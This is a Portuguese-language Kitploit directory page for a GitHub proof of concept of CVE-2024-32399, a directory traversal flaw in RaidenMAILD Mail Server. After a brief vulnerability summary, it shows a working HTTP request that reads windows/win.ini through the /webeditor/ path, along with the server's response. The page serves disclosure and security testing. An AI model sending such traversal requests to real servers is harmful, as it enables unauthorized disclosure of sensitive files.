Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-32399 — Exploit de prova de conceito para vulnerabilidade de travessia de diretório (CVE-2024-32399) no RaidenMAILD Mail Server <=4.9.4, demonstrando divulgação remota de arquivos sensíveis através do componente /webeditor/. | Kitploit
Ferramentas/GitHubGitHub/nn0b0dy/cve-2024-32399
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubnn0b0dy/cve-2024-32399

CVE-2024-32399

Exploit de prova de conceito para vulnerabilidade de travessia de diretório (CVE-2024-32399) no RaidenMAILD Mail Server <=4.9.4, demonstrando divulgação remota de arquivos sensíveis através do componente /webeditor/.

Ver Repositório
12há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-32399

Visão Geral da Vulnerabilidade

Vulnerabilidade de Directory Traversal no RaidenMAILD Mail Server v.4.9.4 e anteriores permite que um atacante remoto obtenha informações sensíveis via o componente /webeditor/

Tipo de Vulnerabilidade

Directory Traversal

Fornecedor do Produto

RaidenMAILD Mail Server

Versão Afetada

RaidenMAILD Mail Server <= 4.9.4

Prova de Conceito

Requisição:

root@kitploit:~
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close

Resposta:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
Content-Disposition: attachment; filename="../../../windows/win.ini";
Content-Type: application/octet-stream
Content-Length: 403
Date: Mon, 22 Apr 2024 15:00:41 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Permissions-Policy: geolocation=(self "https://example.com"), microphone=()
Referrer-Policy: no-referrer
Content-Security-Policy: base-uri 'self'
Set-Cookie: IDHTTPSESSIONID=9E5BgVAlG7P7C5X; Path=/

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
...
...
Baixar ferramenta